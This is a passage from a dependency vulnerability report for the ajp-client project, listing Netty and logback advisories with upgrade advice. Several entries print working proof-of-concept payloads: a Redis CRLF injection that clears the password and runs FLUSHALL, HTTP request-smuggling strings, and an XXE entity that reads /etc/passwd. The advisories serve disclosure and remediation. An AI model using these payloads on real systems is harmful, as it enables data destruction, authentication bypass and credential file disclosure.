9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=")));
    }
}

Remediation

Upgrade io.netty:netty-codec-http2 to version 4.1.125.Final or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: io.netty:netty-codec-http2
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-http2@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.133.Final.

Overview

io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the HttpContentDecompressor and DelegatingDecompressorFrameListener components when the Content-Encoding header is set to br, zstd, or snappy. An attacker can exhaust system memory and cause a denial of service by sending a highly compressed payload that decompresses to a very large size, bypassing the configured decompression limit.

Remediation

Upgrade io.netty:netty-codec-http2 to version 4.1.133.Final, 4.2.13.Final or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-redis
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-redis@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.135.Final.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the decodeLength function. An attacker can exhaust the server's direct memory pool by sending continuous streams of digits without a terminating \r\n across multiple concurrent connections, which prevents legitimate connections from being processed.

Note:

This is only exploitable if an attacker is able to open multiple concurrent connections and distribute unbounded payloads among them.

Remediation

Upgrade io.netty:netty-codec-redis to version 4.1.135.Final, 4.2.15.Final or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-redis
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-redis@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.135.Final.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in RedisArrayAggregator. An attacker who sends a small RESP array header declaring a very large element count can force the aggregator to reserve a large ArrayList via the AggregateState constructor, before any child elements are sent, exhausting memory.

Remediation

Upgrade io.netty:netty-codec-redis to version 4.1.135.Final, 4.2.15.Final or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: io.netty:netty-codec-redis
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-redis@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.135.Final.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) in the RedisArrayAggregator function. An attacker can exhaust system memory by sending specially crafted Redis payloads containing deeply nested arrays, resulting in allocation of excessive state objects and collections.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade io.netty:netty-codec-redis to version 4.1.135.Final, 4.2.15.Final or higher.

References

high severity

Missing Release of Memory after Effective Lifetime

  • Vulnerable module: io.netty:netty-codec-redis
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-redis@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.135.Final.

Overview

Affected versions of this package are vulnerable to Missing Release of Memory after Effective Lifetime due to improper cleanup of pooled direct-memory buffers in the RedisArrayAggregator function. An attacker can exhaust the JVM-wide direct-memory pool by repeatedly opening and closing pipeline connections before a RESP array aggregate completes, leading to allocation failures across all channels.

Remediation

Upgrade io.netty:netty-codec-redis to version 4.1.135.Final, 4.2.15.Final or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-stomp
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-stomp@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.136.Final.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the StompSubframeDecoder process. An attacker can exhaust system memory and cause a server crash by sending a large number of short headers in a single STOMP frame, resulting in an OutOfMemoryError.

Remediation

Upgrade io.netty:netty-codec-stomp to version 4.1.136.Final, 4.2.16.Final or higher.

References

high severity
new

Inefficient Algorithmic Complexity

  • Vulnerable module: io.netty:netty-codec-xml
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-xml@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.136.Final.

Overview

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the XmlFrameDecoder process. An attacker can cause the server's EventLoop thread to exhaust CPU resources and become unresponsive by sending a specially crafted XML payload, such as repeated </ characters, which forces the decoder to repeatedly rescan the entire buffer.

Remediation

Upgrade io.netty:netty-codec-xml to version 4.1.136.Final, 4.2.16.Final or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-transport-sctp
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-transport-sctp@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.135.Final.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to unbounded nesting of composite buffers in the SCTP message reassembly process. An attacker can exhaust system memory and cause a denial of service by sending a large number of incomplete message fragments, each creating deeper buffer chains without limit.

Remediation

Upgrade io.netty:netty-transport-sctp to version 4.1.135.Final, 4.2.15.Final or higher.

References

high severity

CRLF Injection

  • Vulnerable module: io.netty:netty-codec-redis
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-redis@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.133.Final.

Overview

Affected versions of this package are vulnerable to CRLF Injection in the RedisEncoder component. An attacker can inject arbitrary Redis commands or forge responses by supplying input containing CRLF sequences, which are not properly sanitized before being written to the network output buffer. This allows manipulation of the Redis protocol stream, potentially leading to unauthorized command execution or response poisoning.

Note:

This is only exploitable if user-controlled input is placed into InlineCommandRedisMessage, SimpleStringRedisMessage, or ErrorRedisMessage content, and the application does not perform its own CRLF sanitization before constructing these message objects.

PoC

import io.netty.buffer.ByteBuf;
import io.netty.buffer.ByteBufUtil;
import io.netty.buffer.UnpooledByteBufAllocator;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.redis.*;

import java.nio.charset.StandardCharsets;
import java.util.List;
import java.util.ArrayList;

/**
 * PoC: Redis Encoder CRLF Injection Vulnerability
 *
 * Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage,
 * and ErrorRedisMessage do not validate content for CRLF characters,
 * allowing Redis command injection via the RESP protocol.
 */
public class RedisEncoderCRLFInjectionPoC {

    public static void main(String[] args) {
        System.out.println("=== Netty Redis Encoder CRLF Injection PoC ===\n");

        testInlineCommandInjection();
        testSimpleStringInjection();
        testErrorMessageInjection();

        System.out.println("\n=== PoC Complete ===");
    }

    /**
     * Test 1: Inline Command Injection
     * An attacker-controlled string injected into InlineCommandRedisMessage
     * results in multiple Redis commands being sent.
     */
    static void testInlineCommandInjection() {
        System.out.println("[TEST 1] Inline Command CRLF Injection");
        System.out.println("----------------------------------------");

        // Malicious content: inject FLUSHALL after a benign PING
        String maliciousContent = "PING\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        // This should be rejected but is accepted
        InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   InlineCommandRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        // Count how many CRLF-delimited commands are in the output
        String[] commands = encoded.split("\r\n");
        System.out.println("Number of commands parsed by Redis: " + commands.length);
        for (int i = 0; i < commands.length; i++) {
            if (!commands[i].isEmpty()) {
                System.out.println("  Command " + (i + 1) + ": " + commands[i]);
            }
        }

        boolean vulnerable = commands.length > 1;
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Multiple commands injected!" : "NO"));
        System.out.println();
    }

    /**
     * Test 2: SimpleString Response Injection
     * When Netty acts as a Redis proxy/middleware, a malicious SimpleString
     * can inject fake responses to the downstream client.
     */
    static void testSimpleStringInjection() {
        System.out.println("[TEST 2] SimpleString Response CRLF Injection");
        System.out.println("----------------------------------------------");

        // Malicious content: inject a fake bulk string response after OK
        String maliciousContent = "OK\r\n$6\r\nhacked";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   SimpleStringRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        // The RESP protocol uses the first byte to determine type:
        // '+' = Simple String, '$' = Bulk String
        // A client parsing this would see:
        // 1. "+OK\r\n"       -> Simple String "OK"
        // 2. "$6\r\nhacked"  -> Bulk String "hacked" (injected!)
        boolean vulnerable = encoded.contains("+OK\r\n$6\r\nhacked");
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Response poisoning possible!" : "NO"));
        System.out.println();
    }

    /**
     * Test 3: Error Message Injection
     * Similar to SimpleString but with error messages.
     */
    static void testErrorMessageInjection() {
        System.out.println("[TEST 3] Error Message CRLF Injection");
        System.out.println("--------------------------------------");

        String maliciousContent = "ERR unknown\r\n+INJECTED_OK";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   ErrorRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        boolean vulnerable = encoded.contains("-ERR unknown\r\n+INJECTED_OK");
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Error + fake OK injected!" : "NO"));
        System.out.println();
    }
}

Remediation

Upgrade io.netty:netty-codec-redis to version 4.1.133.Final, 4.2.13.Final or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-http@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.133.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the HttpObjectDecoder component. An attacker can manipulate downstream request interpretation by sending specially crafted HTTP/1.0 requests containing both Transfer-Encoding: chunked and Content-Length headers. This can result in unauthorized access, cache poisoning, or bypassing security controls by causing downstream proxies or handlers to misinterpret message boundaries.

Note:

This is only exploitable if the deployment is behind a reverse proxy or load balancer that prioritizes the Content-Length header, the attacker can send HTTP/1.0 requests, and there is no additional HTTP/1.0 stripping layer between the attacker and the application.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

high severity
new

XML External Entity (XXE) Injection

  • Vulnerable module: io.netty:netty-codec-xml
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-xml@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.136.Final.

Overview

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection in the XmlDecoder file when XML input containing a DOCTYPE declaration is processed by an AsyncXMLInputFactory without security configuration, leaving DTD and entity handling enabled. An attacker can access sensitive files or internal network resources by delivering crafted XML data to the channel pipeline.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade io.netty:netty-codec-xml to version 4.1.136.Final, 4.2.16.Final or higher.

References

high severity
new

Improper Certificate Validation

  • Vulnerable module: io.netty:netty-handler-ssl-ocsp
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-handler-ssl-ocsp@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.136.Final.

Overview

io.netty:netty-handler-ssl-ocsp is a Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers and clients.

Affected versions of this package are vulnerable to Improper Certificate Validation in the OcspClient.validateResponse. An attacker can bypass certificate revocation checks by replaying a legitimately signed OCSP response for a different certificate issued by the same certificate authority.

Remediation

Upgrade io.netty:netty-handler-ssl-ocsp to version 4.1.136.Final, 4.2.16.Final or higher.

References

high severity
new

CRLF Injection

  • Vulnerable module: io.netty:netty-codec-stomp
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-stomp@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.136.Final.

Overview

Affected versions of this package are vulnerable to CRLF Injection via the encodeHeaders in the STOMP frame encoder, which fails to validate or escape newline characters in header values for certain commands. An attacker can inject arbitrary headers by including newline characters in user-controlled input, potentially bypassing authentication or modifying connection parameters.

Note: This is only exploitable if user-controlled input is placed into header values of a CONNECT or CONNECTED frame, the application does not perform its own newline sanitization, and the downstream STOMP broker processes the injected headers.

Remediation

Upgrade io.netty:netty-codec-stomp to version 4.1.136.Final, 4.2.16.Final or higher.

References

high severity
new

Expression Injection

  • Vulnerable module: ch.qos.logback:logback-core
  • Introduced through: ch.qos.logback:logback-classic@1.3.15

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client ch.qos.logback:logback-classic@1.3.15 ch.qos.logback:logback-core@1.3.15
    Remediation: Upgrade to ch.qos.logback:logback-classic@1.5.36.

Overview

ch.qos.logback:logback-core is a logback-core module.

Affected versions of this package are vulnerable to Expression Injection in the Janino-evaluated condition attribute of <if> configuration elements, handled by IfModelHandler, whose denylist blocked only the literal new operator. A user who can modify the logback configuration can execute arbitrary code by writing an <if> condition that evades that denylist, either through references it did not cover such as Runtime or springframework, or through Unicode escape sequences like \u that reconstruct the blocked new operator. Exploitation requires write access to the logback configuration and the use of conditional <if> processing with Janino present on the classpath.

Remediation

Upgrade ch.qos.logback:logback-core to version 1.5.36 or higher.

References

medium severity
new

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: io.netty:netty-codec-dns
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-dns@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.136.Final.

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime in AbstractDnsRecord and DefaultDnsRecordDecoder, where a domain name that violates IDNA rules makes IDN.toASCII() throw before the decoded ByteBuf is assigned to the record's content, leaving the buffer unreleased. An attacker can leak direct memory on each malformed record and exhaust it over sustained traffic by sending DNS records whose domain names violate IDNA rules, contain null bytes in a decompressed name, or otherwise fail to decode. Exploitation affects applications that decode DNS records with Netty's DnsRecordDecoder, such as DnsNameResolver clients processing responses from an attacker-influenced resolver or custom DNS servers, and the leak is incremental, requiring sustained malformed records to exhaust memory.

Remediation

Upgrade io.netty:netty-codec-dns to version 4.1.136.Final, 4.2.16.Final or higher.

References

medium severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-http@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.136.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the HttpContentEncoder. An attacker can cause unbounded memory consumption by sending a large number of HTTP/1.1 pipelined requests faster than the application can generate responses, leading to resource exhaustion.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.136.Final, 4.2.16.Final or higher.

References

medium severity

CRLF Injection

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-http@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.129.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to CRLF Injection in HttpRequestEncoder, due to improper sanitization of a URI with line-breaks in the DefaultHttpRequest class. An attacker can manipulate HTTP requests to cause parser desynchronization, request smuggling, and response splitting by including line break characters in requests.

PoC


public static void main(String[] args) {

  EmbeddedChannel client = new EmbeddedChannel();
  client.pipeline().addLast(new HttpClientCodec());

  EmbeddedChannel server = new EmbeddedChannel();
  server.pipeline().addLast(new HttpServerCodec());
  server.pipeline().addLast(new ChannelInboundHandlerAdapter() {
    @Override
    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
      System.out.println("Processing msg " + msg);
    }
  });

  DefaultHttpRequest request = new DefaultHttpRequest(
    HttpVersion.HTTP_1_1,
    HttpMethod.GET,
    "/s1 HTTP/1.1\r\n" +
      "\r\n" +
      "POST /s2 HTTP/1.1\r\n" +
      "content-length: 11\r\n\r\n" +
      "Hello World" +
      "GET /s1"
  );
  client.writeAndFlush(request);
  ByteBuf tmp;
  while ((tmp = client.readOutbound()) != null) {
    server.writeInbound(tmp);
  }
}

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.129.Final, 4.2.8.Final or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-http@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.133.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling via the getChunkSize function. An attacker can inject unauthorized HTTP requests by crafting a chunk size value that causes integer overflow, allowing additional requests to be smuggled within the body of a chunked HTTP message.

PoC

@Test
public void test() {
    String requestStr = "POST / HTTP/1.1\r\n" +
            "Host: localhost\r\n" +
            "Transfer-Encoding: chunked\r\n\r\n" +
            "100000004\r\n" +
            "test\r\n" +
            "0\r\n" +
            "\r\n" +
            "GET /smuggled HTTP/1.1\r\n" +
            "Host: localhost\r\n" +
            "Content-Length: 0\r\n" +
            "\r\n";

    EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
    assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

    // Request 1
    HttpRequest request = channel.readInbound();
    assertTrue(request.decoderResult().isSuccess());
    HttpContent content = channel.readInbound();
    assertTrue(content.decoderResult().isSuccess());
    assertEquals("test", content.content().toString(CharsetUtil.US_ASCII));
    content.release();
    LastHttpContent last = channel.readInbound();
    assertTrue(last.decoderResult().isSuccess());
    last.release();

    // Request 2
    request = channel.readInbound();
    assertTrue(request.decoderResult().isSuccess());
    last = channel.readInbound();
    assertTrue(last.decoderResult().isSuccess());
    last.release();
}

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-http@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.135.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in HttpObjectDecoder.java, which skips whitespace as well as bytes 0x00-0x1F and 0x7F. An attacker can cause request-boundary confusion in pipelined or multiplexed transports by sending malicious HTTP requests containing arbitrary control characters, which may be interpreted differently by front-end components.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.135.Final, 4.2.15.Final or higher.

References

medium severity
new

Incorrect Authorization

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-http@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.136.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Incorrect Authorization in the CorsHandler. An attacker can gain unauthorized access to backend resources by sending requests with an Origin: null header, which bypasses the intended access controls due to a logical operator error in the origin evaluation.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.136.Final, 4.2.16.Final or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-http2
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-http2@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.135.Final.

Overview

io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforcement of the advertised MAX_CONCURRENT_STREAMS setting in HTTP/2 connections in AbstractHttp2ConnectionHandlerBuilder. An attacker can exhaust server resources by opening a large number of concurrent streams over a single TCP connection, potentially leading to service disruption.

Remediation

Upgrade io.netty:netty-codec-http2 to version 4.1.135.Final, 4.2.15.Final or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-http2
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-http2@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.135.Final.

Overview

io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the handling of the SETTINGS_MAX_HEADER_LIST_SIZE setting, when acting as a server. An attacker can cause the server to trigger exceptions during response header writing, by sending artificially small header size limits that block other clients' requests.

Remediation

Upgrade io.netty:netty-codec-http2 to version 4.1.135.Final, 4.2.15.Final or higher.

References

medium severity
new

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http2
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-http2@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.136.Final.

Overview

io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the translation from HTTP/2 to HTTP/1.x, specifically when handling both the :authority pseudo-header and a literal host header in a single HEADERS frame. An attacker can manipulate request routing by supplying differing values for these headers, resulting in two Host headers in the resulting request object.

Remediation

Upgrade io.netty:netty-codec-http2 to version 4.1.136.Final, 4.2.16.Final or higher.

References

medium severity

Missing Release of Memory after Effective Lifetime

  • Vulnerable module: io.netty:netty-codec-http2
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-http2@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.135.Final.

Overview

io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Missing Release of Memory after Effective Lifetime in the DelegatingDecompressorFrameListener function. An attacker can cause memory exhaustion and potentially crash the JVM by sending specially crafted HTTP/2 frames that trigger a resource leak.

Remediation

Upgrade io.netty:netty-codec-http2 to version 4.1.135.Final, 4.2.15.Final or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-mqtt
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-mqtt@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.133.Final.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of size limits applied to the Properties section during the decoding process. An attacker can cause excessive CPU and memory consumption by sending MQTT messages with extremely large Properties sections.

Remediation

Upgrade io.netty:netty-codec-mqtt to version 4.1.133.Final, 4.2.13.Final or higher.

References

medium severity

CRLF Injection

  • Vulnerable module: io.netty:netty-codec-smtp
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-smtp@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.128.Final.

Overview

Affected versions of this package are vulnerable to CRLF Injection via insufficient input validation in the DefaultSmtpRequest process. An attacker can inject arbitrary SMTP commands by supplying malicious parameters containing CRLF sequences, allowing the sending of forged emails that appear to originate from a trusted server.

Remediation

Upgrade io.netty:netty-codec-smtp to version 4.1.128.Final, 4.2.7.Final or higher.

References

medium severity
new

Deserialization of Untrusted Data

  • Vulnerable module: ch.qos.logback:logback-classic
  • Introduced through: ch.qos.logback:logback-classic@1.3.15

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client ch.qos.logback:logback-classic@1.3.15
    Remediation: Upgrade to ch.qos.logback:logback-classic@1.5.33.

Overview

ch.qos.logback:logback-classic is a reliable, generic, fast and flexible logging library for Java.

